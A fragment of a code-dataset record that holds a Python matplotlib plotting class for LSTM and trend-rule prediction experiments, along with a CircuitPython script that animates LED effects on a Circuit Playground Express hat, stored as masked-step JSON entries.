EVALUATE_THRESHOLD_DELETE_RULE, EVALUATE_THRESHOLD_ADD_RULE=cfg\n .EVALUATE_THRESHOLD_ADD_RULE, EVALUATE_THRESHOLD_MERGE_RULE=cfg\n .EVALUATE_THRESHOLD_MERGE_RULE, THRESHOLD_APPNUM=cfg.\n THRESHOLD_APPNUM, TRY_NEWRULE_NUM=cfg.TRY_NEWRULE_NUM,\n LSTM_REFERENCE_STEPS=cfg.LSTM_REFERENCE_STEPS, LSTM_EPOCHS=cfg.\n LSTM_EPOCHS, NN_EPOCHS=cfg.NN_EPOCHS, DATATYPE=[dict(name=feat[\n 'name'], type=str(type(feat['data']))) for feat in cfg.DATATYPE\n ], FIRST_BIN=cfg.FIRST_BIN)\n fw = open(self.dire + name + '.json', 'w')\n json.dump(setting, fw, indent=4)\n return\n", "step-5": "import os\nfrom matplotlib import pyplot as plt\nfrom matplotlib import colors\nimport numpy as np\n\n\nclass figure:\n\n def __init__(self, dire, dpi, span, data, CIM,\n learn_loss=None, eval_loss=None, different_dir_app=True, reference_steps=0, reveal_trend=1):\n\n self.dire = self.new_num_directory(dire)\n self.app_dire = [self.make_num_directory(\"app\", i) for i in range(data.app_num)]\n self.trend_dire = [self.make_num_directory(\"trend\", i) for i in range(len(data.trend_rule.w))]\n self.dpi = dpi\n\n self.span = span\n self.app = data.apps\n self.trend_rule = data.trend_rule\n self.prediction = CIM.prediction\n self.prediction_e = CIM.prediction_est_rule\n\n self.prediction_only_ci = CIM.prediction_only_ci\n\n self.predfail_app_num = CIM.predfail_app_num\n self.cap_rule_num = CIM.cap_rule_num\n self.add_rule_num = CIM.add_rule_num\n self.lost_rule_num = CIM.lost_rule_num\n self.useless_rule_num = CIM.useless_rule_num\n self.merge_rule_num = CIM.merge_rule_num\n\n self.learn_loss = learn_loss\n self.eval_loss = eval_loss\n self.diff_dir = different_dir_app\n self.reference_steps = reference_steps\n self.reveal_trend = reveal_trend\n\n\n def new_num_directory(self, path):\n n = 1\n while True:\n if not os.path.exists(path + \"_\" + str(n)):\n os.mkdir(path + \"_\" + str(n))\n break\n else:\n n += 1\n return path + \"_\" + str(n) + \"/\"\n\n\n def make_num_directory(self, name, num):\n\n os.mkdir(self.dire + \"/\" + name + \"_\" + str(num))\n\n return self.dire + \"/\" + name + \"_\" + str(num) + \"/\"\n\n\n def find_min_max(self, data_list, length, standarize_zero=True):\n\n if standarize_zero:\n min = 0\n max = 0\n else:\n min = data_list[0][0]\n max = data_list[0][0]\n\n for data in data_list:\n\n for j in range(length):\n\n if j < len(data):\n if data[j] < min:\n min = data[j]\n if data[j] > max:\n max = data[j]\n\n return min, max\n\n\n def savefig_result(self, name):\n\n x = list(range(self.span))\n\n if self.diff_dir:\n\n # トレンドルールごとの色(chosenRuleより)\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n\n for i, app in enumerate(self.app):\n\n min, max = self.find_min_max([self.prediction[i], self.prediction_e[i]], self.span)\n\n plt.figure(figsize=(len(x) / 10, 5.5))\n\n # (chosenRuleより)\n for j in range(len(self.trend_rule.w)):\n plt.fill_between([j - 0.5, j + 0.5], [max * 1.1 + 0.1, max * 1.1 + 0.1],\n [min * 1.1 - 0.1, min * 1.1 - 0.1],\n facecolor=cycle_tr[j], alpha=0.2,\n label=\"Chosenrule:\" + str(j))\n for j in range(self.span):\n plt.fill_between([j - 0.5, j + 0.5], [max*1.1+0.1, max*1.1+0.1], [min*1.1-0.1, min*1.1-0.1],\n facecolor=cycle_tr[self.app[i].trend_idx[j]], alpha=0.2)\n\n\n plt.plot(x, app.trend, label=\"trend\", linestyle=\"dotted\", color=\"black\")\n plt.plot(x[self.reference_steps:], self.prediction[i],\n label=\"LSTM pred\", linestyle=\"dotted\", color=\"blue\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.prediction_e[i],\n label=\"CIM pred\", color=\"orange\")\n\n if self.learn_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:], self.learn_loss[i], alpha=0.3,\n label=\"learn loss\")\n if self.eval_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:], self.eval_loss[i], alpha=0.3, marker=\"X\",\n label=\"eval loss\")\n\n plt.xlabel('season')\n plt.ylabel('trend value')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.app_dire[i] + name + \".png\", dpi=self.dpi)\n plt.clf()\n\n else:\n\n plt.figure(figsize=(len(x)/10, 5.5))\n\n # アプリごとの色\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n\n for i, app in enumerate(self.app):\n plt.plot(x, self.app[i].trend, color=cycle_app[i], label=\"trend (app:\" + str(i) + \")\", linestyle=\"dotted\")\n plt.plot(x[self.reference_steps:], self.prediction[i], color=cycle_app[i], label=\"pred (app:\" + str(i) + \")\")\n\n if self.learn_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:], self.learn_loss[i], color=cycle_app[i], alpha=0.3,\n label=\"learn loss (app:\" + str(i) + \")\")\n if self.eval_loss is not None:\n plt.scatter(x[self.reference_steps + self.reveal_trend:], self.eval_loss[i], color=cycle_app[i], alpha=0.3, marker=\"X\",\n label=\"evalu loss (app:\" + str(i) + \")\")\n\n plt.xlabel('season')\n plt.ylabel('trend value')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + \".png\", dpi=self.dpi)\n plt.clf()\n\n return\n\n\n def savefig_ruleweight(self, name):\n\n x = list(range(self.span))\n\n if self.diff_dir:\n\n # 特徴ごとの色\n if len(self.trend_rule.w[0][\"value\"]) <= 10:\n cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w[0][\"value\"]) <= 20:\n cycle_ft = plt.cm.get_cmap('tab20').colors\n else:\n cycle_ft = list(colors.XKCD_COLORS.items())[:100]\n\n for i in range(len(self.trend_rule.w)):\n\n plt.figure(figsize=(len(x) / 10, 5.5))\n\n # 特徴毎に\n for j in range(len(self.trend_rule.w[i][\"value\"])):\n plt.plot(x, self.trend_rule.w[i][\"value\"][j][:-1], color=cycle_ft[j], label=\"feature:\" + str(j))\n\n plt.xlabel('season')\n plt.ylabel('weight of trend rule')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.trend_dire[i] + name + \".png\", dpi=self.dpi)\n\n plt.clf()\n\n\n else:\n\n plt.figure(figsize=(len(x)/10, 5.5))\n\n # トレンドルールごとの色\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n\n # 特徴ごとの色\n if len(self.trend_rule.w[0][\"value\"]) <= 10:\n cycle_ft = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w[0][\"value\"]) <= 20:\n cycle_ft = plt.cm.get_cmap('tab20').colors\n else:\n cycle_ft = list(colors.XKCD_COLORS.items())[:100]\n\n width = 0.8 / len(self.trend_rule.w[0][\"value\"])\n #トレンドルール毎に\n for i in range(len(self.trend_rule.w)):\n bottom = np.array(- i * 2.0)\n # 特徴毎に\n for j in range(len(self.trend_rule.w[i][\"value\"])):\n if i == 0:\n plt.bar(x + np.array([width * float(j)] * len(x)), self.trend_rule.w[i][j][:-1],\n color=cycle_ft[j], align='edge', bottom=bottom, width=width, label=\"feature:\" + str(j))\n else:\n plt.bar(x + np.array([width * float(j)] * len(x)), self.trend_rule.w[i][\"value\"][j][:-1],\n color=cycle_ft[j], align='edge', bottom=bottom, width=width)\n\n plt.fill_between(list(range(self.span+1)), [- i * 2.0 + 1] * (len(x)+1), [- (i+1) * 2.0 + 1] * (len(x)+1),\n facecolor=cycle_tr[i], alpha=0.2, label=\"trendrule:\" + str(i))\n\n plt.xlabel('season')\n plt.ylabel('weight of trend rule')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + \".png\", dpi=self.dpi)\n\n plt.clf()\n\n return\n\n\n def savefig_chosenrule(self, name):\n\n x = list(range(self.span))\n\n if self.diff_dir:\n\n pass # savefig_resultに統合\n\n else:\n\n plt.figure(figsize=(len(x)/10, 5.5))\n\n # アプリごとの色\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n\n # トレンドルールごとの色\n if len(self.trend_rule.w) <= 10:\n cycle_tr = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.trend_rule.w) <= 20:\n cycle_tr = plt.cm.get_cmap('tab20').colors\n else:\n cycle_tr = list(colors.XKCD_COLORS.items())[:100]\n\n # 凡例表示用\n for i in range(len(self.trend_rule.w)):\n plt.scatter(x, np.array([0] * len(x)), color=cycle_tr[i], s=1, marker=\"D\",\n label=\"trendrule:\" + str(i))\n\n for id in range(len(self.app)):\n colorArr = []\n for i in self.app[id].trend_idx:\n colorArr.append(cycle_tr[i])\n plt.scatter(x, np.array([- id] * len(x)), color=cycle_app[id], s=150, label=\"app:\" + str(id))\n plt.scatter(x, np.array([- id] * len(x)), color=\"w\", s=70)\n plt.scatter(x, np.array([- id] * len(x)), color=colorArr, s=15, marker=\"D\", alpha=0.5)\n\n plt.xlabel('シーズン')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + \".png\", dpi=self.dpi)\n\n plt.clf()\n\n return\n\n\n def savefig_compare_prediction(self, name):\n\n x = list(range(self.span))\n\n if self.diff_dir:\n\n for i in range(len(self.app)):\n\n plt.figure(figsize=(len(x) / 10, 5.5))\n\n # *************************(変更してください)\n plt.plot(x[self.reference_steps + self.reveal_trend:],\n np.abs(np.array(self.prediction_only_ci[i]) - np.array(self.app[i].trend[self.reference_steps + self.reveal_trend:])),\n label=\"only CI loss\", linestyle=\"dotted\", color=\"green\")\n\n plt.plot(x[self.reference_steps:],\n np.abs(np.array(self.prediction[i]) - np.array(self.app[i].trend[self.reference_steps:])),\n label=\"LSTM loss\", linestyle=\"dotted\", color=\"blue\")\n plt.plot(x[self.reference_steps + self.reveal_trend:],\n np.abs(np.array(self.prediction_e[i]) - np.array(self.app[i].trend[self.reference_steps + self.reveal_trend:])),\n label=\"CIM loss\", color=\"orange\")\n\n plt.xlabel('season')\n plt.ylabel('prediction loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.app_dire[i] + name + \".png\", dpi=self.dpi)\n\n plt.clf()\n\n else:\n\n plt.figure(figsize=(len(x)/10, 5.5))\n\n # アプリごとの色\n if len(self.app) <= 10:\n cycle_app = plt.rcParams['axes.prop_cycle'].by_key()['color']\n elif len(self.app) <= 20:\n cycle_app = plt.cm.get_cmap('tab20').colors\n else:\n cycle_app = list(colors.XKCD_COLORS.items())[:100]\n\n for id in range(len(self.app)):\n\n plt.plot(x[self.reference_steps:], np.abs(np.array(self.prediction[id]) - np.array(self.app[id].trend[self.reference_steps:])),\n color=cycle_app[id], label=\"classify loss (app:\" + str(id) + \")\", linestyle=\"dotted\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], np.abs(np.array(self.prediction_e[id]) - np.array(self.app[id].trend[self.reference_steps + self.reveal_trend:])),\n color=cycle_app[id], label=\"analyse loss (app:\" + str(id) + \")\")\n\n plt.xlabel('season')\n plt.ylabel('prediction loss')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + \".png\", dpi=self.dpi)\n\n plt.clf()\n\n return\n\n\n def savefig_compare_prediction_ave(self, name):\n\n x = list(range(self.span))\n\n if self.diff_dir:\n\n prediction = []\n prediction_e = []\n prediction_ci = []\n\n # 各アプリに対して平均を算出\n for j in range(self.span - self.reference_steps):\n\n sum = 0\n sum_e = 0\n sum_ci = 0\n\n for i in range(len(self.app)):\n\n sum += (self.prediction[i][j] - self.app[i].trend[j + self.reference_steps])**2\n if j < self.span - self.reference_steps - self.reveal_trend:\n\n sum_e += (self.prediction_e[i][j] - self.app[i].trend[j + self.reference_steps + self.reveal_trend])**2\n sum_ci += (self.prediction_e[i][j] - self.app[i].trend[j + self.reference_steps + self.reveal_trend])**2\n\n prediction.append(sum / len(self.app))\n if j < self.span - self.reference_steps - self.reveal_trend:\n prediction_e.append(sum_e / len(self.app))\n prediction_ci.append(sum_ci / len(self.app))\n\n plt.figure(figsize=(len(x) / 10, 5.5))\n\n plt.xlabel('season')\n plt.ylabel('prediction loss average')\n\n # *************************(変更してください)\n plt.plot(x[self.reference_steps + self.reveal_trend:], prediction_ci,\n label=\"only CI loss\", linestyle=\"dotted\")\n\n plt.plot(x[self.reference_steps:], prediction, label=\"LSTM loss\", linestyle=\"dotted\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], prediction_e, label=\"CIM loss\")\n\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + \".png\", dpi=self.dpi)\n\n plt.clf()\n\n\n def savefig_rule_num(self, name):\n\n x = list(range(self.span))\n\n plt.figure(figsize=(len(x)/10, 5.5))\n\n chart_num = 6\n width = 0.8 / chart_num\n\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.predfail_app_num, label=\"truth rule number\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.predfail_app_num, label=\"prediction fail app\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.cap_rule_num, label=\"captured rule\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.add_rule_num, label=\"add rule\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.lost_rule_num, label=\"lost rule\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.useless_rule_num, label=\"useless rule\")\n plt.plot(x[self.reference_steps + self.reveal_trend:], self.merge_rule_num, label=\"merge rule\")\n\n plt.xlabel('season')\n plt.ylabel('number')\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left')\n plt.subplots_adjust(right=0.8)\n plt.savefig(self.dire + name + \".png\", dpi=self.dpi)\n\n plt.clf()\n\n return\n\n def save_config(self, name, cfg):\n\n import json\n\n setting = dict(\n APP_NUM = cfg.APP_NUM,\n SPAN = cfg.SPAN,\n REVEAL_TREND = cfg.REVEAL_TREND,\n FIRST_RULE_NUM=cfg.FIRST_RULE_NUM,\n SHIFT_TREND_RULE = cfg.SHIFT_TREND_RULE,\n APPEAR_RATE = cfg.APPEAR_RATE,\n DISAPPEAR_RATE = cfg.DISAPPEAR_RATE,\n EVALUATE_THRESHOLD_PRED_FAIL = cfg.EVALUATE_THRESHOLD_PRED_FAIL,\n SAMPLING = cfg.SAMPLING,\n EVALUATE_THRESHOLD_DELETE_RULE = cfg.EVALUATE_THRESHOLD_DELETE_RULE,\n EVALUATE_THRESHOLD_ADD_RULE = cfg.EVALUATE_THRESHOLD_ADD_RULE,\n EVALUATE_THRESHOLD_MERGE_RULE = cfg.EVALUATE_THRESHOLD_MERGE_RULE,\n THRESHOLD_APPNUM = cfg.THRESHOLD_APPNUM,\n TRY_NEWRULE_NUM = cfg.TRY_NEWRULE_NUM,\n LSTM_REFERENCE_STEPS = cfg.LSTM_REFERENCE_STEPS,\n LSTM_EPOCHS = cfg.LSTM_EPOCHS,\n NN_EPOCHS = cfg.NN_EPOCHS,\n DATATYPE = [dict(\n name = feat[\"name\"],\n type = str(type(feat[\"data\"]))\n ) for feat in cfg.DATATYPE],\n FIRST_BIN = cfg.FIRST_BIN\n )\n\n fw = open(self.dire + name + '.json', 'w')\n json.dump(setting, fw, indent=4)\n\n return", "step-ids": [ 4, 11, 12, 13, 14 ] }
[ 4, 11, 12, 13, 14 ]
# My Godzilla Hat Code - @alt_bier from adafruit_circuitplayground.express import cpx import random #cpx.pixels.brightness = 0.5 # 50 pct cpx.pixels.fill((0, 0, 0)) # Turn off the NeoPixels if they're on! # Function to give us a nice color swirl on the built in NeoPixel (R,G,B) def wheeln(pos, sft): if (pos + sft) > 255: pos = (pos + sft) - 256 else: pos = (pos + sft) if (pos < 0) or (pos > 255): return (0, 0, 0) if pos < 85: return (int(255 - pos*3), int(pos*3), 0) elif pos < 170: pos -= 85 return (0, int(255 - (pos*3)), int(pos*3)) else: pos -= 170 return (int(pos*3), 0, int(255 - pos*3)) # Function to flash random colors def randcolor(): randgr = randrd = randbl = 0 # determine if all colors off if (random.randint(0,14) == 1): # if on then determine if each color is off and return an intensity value if on if (random.randint(0,1) == 1): randgr = random.randint(1,255) if (random.randint(0,1) == 1): randrd = random.randint(1,255) if (random.randint(0,1) == 1): randbl = random.randint(1,255) return (randgr, randrd, randbl) # Function to simulate a flame effect on built in NeoPixel (R,G,B) def flame(pos, clr, sft): # pos = position, sft = shift if (pos + sft) > 255: pos = (pos + sft) - 256 else: pos = (pos + sft) # # RETURN VALUES if pos < 32: # OFF rval = 0 elif (pos > 31) and (pos < 64): # Low-High rval = int((pos*8) - 249) elif (pos > 63) and (pos < 96): # High-Low rval = int(767 - (pos*8)) elif (pos > 95) and (pos < 128): # OFF rval = 0 elif (pos > 127) and (pos < 160): # Low-High rval = int((pos*8) - 1017) elif (pos > 159) and (pos < 192): # High-Low rval = int(1535 - (pos*8)) elif (pos > 191) and (pos < 224): # OFF rval = 0 elif (pos > 223): # OFF rval = 0 # # RETURN COLOR if (clr == 0): # Red return (rval, 0, 0) elif (clr == 1): # Red & Green return (rval, rval, 0) elif (clr == 2): # Green return (0, rval, 0) elif (clr == 3): # Green & Blue return (0, rval, rval) elif (clr == 4): # Blue return (0, rval, rval) elif (clr == 5): # Blue & Red return (rval, 0, rval) else: return (0, 0, 0) # Function to turn off all the built in NeoPixels def alloff(): cpx.pixels.fill((0, 0, 0)) mode = 1 pusha = 0 pushb = 0 clr = 0 i = 0 while True: # NeoPixels are cpx.pixels[0-9] if (mode == 1): cpx.pixels[0] = flame(i, clr, 32) cpx.pixels[1] = flame(i, clr, 24) cpx.pixels[2] = flame(i, clr, 16) cpx.pixels[3] = flame(i, clr, 8) cpx.pixels[4] = flame(i, clr, 0) cpx.pixels[5] = flame(i, clr, 0) cpx.pixels[6] = flame(i, clr, 8) cpx.pixels[7] = flame(i, clr, 16) cpx.pixels[8] = flame(i, clr, 24) cpx.pixels[9] = flame(i, clr, 32) elif (mode == 2): cpx.pixels[0] = wheeln(i, 0) cpx.pixels[1] = wheeln(i, 24) cpx.pixels[2] = wheeln(i, 48) cpx.pixels[3] = wheeln(i, 72) cpx.pixels[4] = wheeln(i, 96) cpx.pixels[5] = wheeln(i, 120) cpx.pixels[6] = wheeln(i, 144) cpx.pixels[7] = wheeln(i, 168) cpx.pixels[8] = wheeln(i, 192) cpx.pixels[9] = wheeln(i, 216) elif (mode == 3): cpx.pixels[0] = randcolor() cpx.pixels[1] = randcolor() cpx.pixels[2] = randcolor() cpx.pixels[3] = randcolor() cpx.pixels[4] = randcolor() cpx.pixels[5] = randcolor() cpx.pixels[6] = randcolor() cpx.pixels[7] = randcolor() cpx.pixels[8] = randcolor() cpx.pixels[9] = randcolor() else: # Mode = 0 so turn All Off alloff() # Button A is bottom button on hat if cpx.button_a: print("Button A on Bottom Pressed! Changing mode to ALL OFF.") pusha = 1 # Button B is top button on hat if cpx.button_b: print("Button B on Top Pressed! Changing mode.") pushb = 1 i = (i+1) % 256 #print (i) if (i == 255): clr = (clr+1) % 6 if ((i == 63) | (i == 127) | (i == 191) | (i >= 255)) and (pusha == 1): mode = 0 pusha = 0 i = 0 if ((i == 63) | (i == 127) | (i == 191) | (i >= 255)) and (pushb == 1): mode = (mode+1) pushb = 0 i = 0 if (mode > 3): mode = 1
normal
{ "blob_id": "1dd223854c10e69a397098511eab50b9ebd347c8", "index": 6027, "step-1": "<mask token>\n\n\ndef wheeln(pos, sft):\n if pos + sft > 255:\n pos = pos + sft - 256\n else:\n pos = pos + sft\n if pos < 0 or pos > 255:\n return 0, 0, 0\n if pos < 85:\n return int(255 - pos * 3), int(pos * 3), 0\n elif pos < 170:\n pos -= 85\n return 0, int(255 - pos * 3), int(pos * 3)\n else:\n pos -= 170\n return int(pos * 3), 0, int(255 - pos * 3)\n\n\ndef randcolor():\n randgr = randrd = randbl = 0\n if random.randint(0, 14) == 1:\n if random.randint(0, 1) == 1:\n randgr = random.randint(1, 255)\n if random.randint(0, 1) == 1:\n randrd = random.randint(1, 255)\n if random.randint(0, 1) == 1:\n randbl = random.randint(1, 255)\n return randgr, randrd, randbl\n\n\ndef flame(pos, clr, sft):\n if pos + sft > 255:\n pos = pos + sft - 256\n else:\n pos = pos + sft\n if pos < 32:\n rval = 0\n elif pos > 31 and pos < 64:\n rval = int(pos * 8 - 249)\n elif pos > 63 and pos < 96:\n rval = int(767 - pos * 8)\n elif pos > 95 and pos < 128:\n rval = 0\n elif pos > 127 and pos < 160:\n rval = int(pos * 8 - 1017)\n elif pos > 159 and pos < 192:\n rval = int(1535 - pos * 8)\n elif pos > 191 and pos < 224:\n rval = 0\n elif pos > 223:\n rval = 0\n if clr == 0:\n return rval, 0, 0\n elif clr == 1:\n return rval, rval, 0\n elif clr == 2:\n return 0, rval, 0\n elif clr == 3:\n return 0, rval, rval\n elif clr == 4:\n return 0, rval, rval\n elif clr == 5:\n return rval, 0, rval\n else:\n return 0, 0, 0\n\n\ndef alloff():\n cpx.pixels.fill((0, 0, 0))\n\n\n<mask token>\n", "step-2": "<mask token>\ncpx.pixels.fill((0, 0, 0))\n\n\ndef wheeln(pos, sft):\n if pos + sft > 255:\n pos = pos + sft - 256\n else:\n pos = pos + sft\n if pos < 0 or pos > 255:\n return 0, 0, 0\n if pos < 85:\n return int(255 - pos * 3), int(pos * 3), 0\n elif pos < 170:\n pos -= 85\n return 0, int(255 - pos * 3), int(pos * 3)\n else:\n pos -= 170\n return int(pos * 3), 0, int(255 - pos * 3)\n\n\ndef randcolor():\n randgr = randrd = randbl = 0\n if random.randint(0, 14) == 1:\n if random.randint(0, 1) == 1:\n randgr = random.randint(1, 255)\n if random.randint(0, 1) == 1:\n randrd = random.randint(1, 255)\n if random.randint(0, 1) == 1:\n randbl = random.randint(1, 255)\n return randgr, randrd, randbl\n\n\ndef flame(pos, clr, sft):\n if pos + sft > 255:\n pos = pos + sft - 256\n else:\n pos = pos + sft\n if pos < 32:\n rval = 0\n elif pos > 31 and pos < 64:\n rval = int(pos * 8 - 249)\n elif pos > 63 and pos < 96:\n rval = int(767 - pos * 8)\n elif pos > 95 and pos < 128:\n rval = 0\n elif pos > 127 and pos < 160:\n rval = int(pos * 8 - 1017)\n elif pos > 159 and pos < 192:\n rval = int(1535 - pos * 8)\n elif pos > 191 and pos < 224:\n rval = 0\n elif pos > 223:\n rval = 0\n if clr == 0:\n return rval, 0, 0\n elif clr == 1:\n return rval, rval, 0\n elif clr == 2:\n return 0, rval, 0\n elif clr == 3:\n return 0, rval, rval\n elif clr == 4:\n return 0, rval, rval\n elif clr == 5:\n return rval, 0, rval\n else:\n return 0, 0, 0\n\n\ndef alloff():\n cpx.pixels.fill((0, 0, 0))\n\n\n<mask token>\nwhile True:\n if mode == 1:\n cpx.pixels[0] = flame(i, clr, 32)\n cpx.pixels[1] = flame(i, clr, 24)\n cpx.pixels[2] = flame(i, clr, 16)\n cpx.pixels[3] = flame(i, clr, 8)\n cpx.pixels[4] = flame(i, clr, 0)\n cpx.pixels[5] = flame(i, clr, 0)\n cpx.pixels[6] = flame(i, clr, 8)\n cpx.pixels[7] = flame(i, clr, 16)\n cpx.pixels[8] = flame(i, clr, 24)\n cpx.pixels[9] = flame(i, clr, 32)\n elif mode == 2:\n cpx.pixels[0] = wheeln(i, 0)\n cpx.pixels[1] = wheeln(i, 24)\n cpx.pixels[2] = wheeln(i, 48)\n cpx.pixels[3] = wheeln(i, 72)\n cpx.pixels[4] = wheeln(i, 96)\n cpx.pixels[5] = wheeln(i, 120)\n cpx.pixels[6] = wheeln(i, 144)\n cpx.pixels[7] = wheeln(i, 168)\n cpx.pixels[8] = wheeln(i, 192)\n cpx.pixels[9] = wheeln(i, 216)\n elif mode == 3:\n cpx.pixels[0] = randcolor()\n cpx.pixels[1] = randcolor()\n cpx.pixels[2] = randcolor()\n cpx.pixels[3] = randcolor()\n cpx.pixels[4] = randcolor()\n cpx.pixels[5] = randcolor()\n cpx.pixels[6] = randcolor()\n cpx.pixels[7] = randcolor()\n cpx.pixels[8] = randcolor()\n cpx.pixels[9] = randcolor()\n else:\n alloff()\n if cpx.button_a:\n print('Button A on Bottom Pressed! Changing mode to ALL OFF.')\n pusha = 1\n if cpx.button_b:\n print('Button B on Top Pressed! Changing mode.')\n pushb = 1\n i = (i + 1) % 256\n if i == 255:\n clr = (clr + 1) % 6\n if (i == 63) | (i == 127) | (i == 191) | (i >= 255) and pusha == 1:\n mode = 0\n pusha = 0\n i = 0\n if (i == 63) | (i == 127) | (i == 191) | (i >= 255) and pushb == 1:\n mode = mode + 1\n pushb = 0\n i = 0\n if mode > 3:\n mode = 1\n", "step-3": "<mask token>\ncpx.pixels.fill((0, 0, 0))\n\n\ndef wheeln(pos, sft):\n if pos + sft > 255:\n pos = pos + sft - 256\n else:\n pos = pos + sft\n if pos < 0 or pos > 255:\n return 0, 0, 0\n if pos < 85:\n return int(255 - pos * 3), int(pos * 3), 0\n elif pos < 170:\n pos -= 85\n return 0, int(255 - pos * 3), int(pos * 3)\n else:\n pos -= 170\n return int(pos * 3), 0, int(255 - pos * 3)\n\n\ndef randcolor():\n randgr = randrd = randbl = 0\n if random.randint(0, 14) == 1:\n if random.randint(0, 1) == 1:\n randgr = random.randint(1, 255)\n if random.randint(0, 1) == 1:\n randrd = random.randint(1, 255)\n if random.randint(0, 1) == 1:\n randbl = random.randint(1, 255)\n return randgr, randrd, randbl\n\n\ndef flame(pos, clr, sft):\n if pos + sft > 255:\n pos = pos + sft - 256\n else:\n pos = pos + sft\n if pos < 32:\n rval = 0\n elif pos > 31 and pos < 64:\n rval = int(pos * 8 - 249)\n elif pos > 63 and pos < 96:\n rval = int(767 - pos * 8)\n elif pos > 95 and pos < 128:\n rval = 0\n elif pos > 127 and pos < 160:\n rval = int(pos * 8 - 1017)\n elif pos > 159 and pos < 192:\n rval = int(1535 - pos * 8)\n elif pos > 191 and pos < 224:\n rval = 0\n elif pos > 223:\n rval = 0\n if clr == 0:\n return rval, 0, 0\n elif clr == 1:\n return rval, rval, 0\n elif clr == 2:\n return 0, rval, 0\n elif clr == 3:\n return 0, rval, rval\n elif clr == 4:\n return 0, rval, rval\n elif clr == 5:\n return rval, 0, rval\n else:\n return 0, 0, 0\n\n\ndef alloff():\n cpx.pixels.fill((0, 0, 0))\n\n\nmode = 1\npusha = 0\npushb = 0\nclr = 0\ni = 0\nwhile True:\n if mode == 1:\n cpx.pixels[0] = flame(i, clr, 32)\n cpx.pixels[1] = flame(i, clr, 24)\n cpx.pixels[2] = flame(i, clr, 16)\n cpx.pixels[3] = flame(i, clr, 8)\n cpx.pixels[4] = flame(i, clr, 0)\n cpx.pixels[5] = flame(i, clr, 0)\n cpx.pixels[6] = flame(i, clr, 8)\n cpx.pixels[7] = flame(i, clr, 16)\n cpx.pixels[8] = flame(i, clr, 24)\n cpx.pixels[9] = flame(i, clr, 32)\n elif mode == 2:\n cpx.pixels[0] = wheeln(i, 0)\n cpx.pixels[1] = wheeln(i, 24)\n cpx.pixels[2] = wheeln(i, 48)\n cpx.pixels[3] = wheeln(i, 72)\n cpx.pixels[4] = wheeln(i, 96)\n cpx.pixels[5] = wheeln(i, 120)\n cpx.pixels[6] = wheeln(i, 144)\n cpx.pixels[7] = wheeln(i, 168)\n cpx.pixels[8] = wheeln(i, 192)\n cpx.pixels[9] = wheeln(i, 216)\n elif mode == 3:\n cpx.pixels[0] = randcolor()\n cpx.pixels[1] = randcolor()\n cpx.pixels[2] = randcolor()\n cpx.pixels[3] = randcolor()\n cpx.pixels[4] = randcolor()\n cpx.pixels[5] = randcolor()\n cpx.pixels[6] = randcolor()\n cpx.pixels[7] = randcolor()\n cpx.pixels[8] = randcolor()\n cpx.pixels[9] = randcolor()\n else:\n alloff()\n if cpx.button_a:\n print('Button A on Bottom Pressed! Changing mode to ALL OFF.')\n pusha = 1\n if cpx.button_b:\n print('Button B on Top Pressed! Changing mode.')\n pushb = 1\n i = (i + 1) % 256\n if i == 255:\n clr = (clr + 1) % 6\n if (i == 63) | (i == 127) | (i == 191) | (i >= 255) and pusha == 1:\n mode = 0\n pusha = 0\n i = 0\n if (i == 63) | (i == 127) | (i == 191) | (i >= 255) and pushb == 1:\n mode = mode + 1\n pushb = 0\n i = 0\n if mode > 3:\n mode = 1\n", "step-4": "from adafruit_circuitplayground.express import cpx\nimport random\ncpx.pixels.fill((0, 0, 0))\n\n\ndef wheeln(pos, sft):\n if pos + sft > 255:\n pos = pos + sft - 256\n else:\n pos = pos + sft\n if pos < 0 or pos > 255:\n return 0, 0, 